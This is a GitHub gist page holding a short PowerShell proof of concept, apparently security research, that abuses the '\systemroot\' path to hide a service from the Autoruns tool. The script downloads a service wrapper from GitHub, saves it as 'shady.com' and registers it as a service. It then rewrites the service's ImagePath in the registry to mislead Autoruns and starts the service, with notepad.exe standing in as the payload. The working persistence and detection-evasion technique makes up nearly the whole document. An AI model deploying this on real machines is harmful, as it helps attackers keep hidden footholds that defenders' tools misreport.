Skip to content

Instantly share code, notes, and snippets.

@KyleHanslovan

KyleHanslovan/poc.ps1 Secret

Created July 26, 2018 23:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save KyleHanslovan/d57fbf8b5ef2af8e311ed71349aa57f1 to your computer and use it in GitHub Desktop.
Save KyleHanslovan/d57fbf8b5ef2af8e311ed71349aa57f1 to your computer and use it in GitHub Desktop.
Download ZIP
PoC Abusing \systemroot\ within Autoruns
Raw
poc.ps1
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
$TargetDrive = Join-Path $Env:SystemDrive \
$TargetDirName = "systemroot"
$TargetDir = Join-Path $TargetDrive $TargetDirName
$TargetBinPath = Join-Path $TargetDir "shady.com"
$TargetConfigPath = Join-Path $TargetDir "shady.xml"
$ConfigContents = "<configuration><id>shady</id><name>shady</name><description>shady</description><executable>notepad.exe</executable></configuration>"
New-Item -Path $TargetDrive -Name $TargetDirName -ItemType directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://github.com/kohsuke/winsw/releases/download/winsw-v2.1.2/WinSW.NET4.exe",$TargetBinPath)
Out-File -FilePath $TargetConfigPath -InputObject $ConfigContents -Encoding ASCII
Invoke-Expression ("{0} install" -f $TargetBinPath)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\shady" -Name "ImagePath" -Value "\systemroot\shady.com"
Invoke-Expression "sc.exe start shady"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment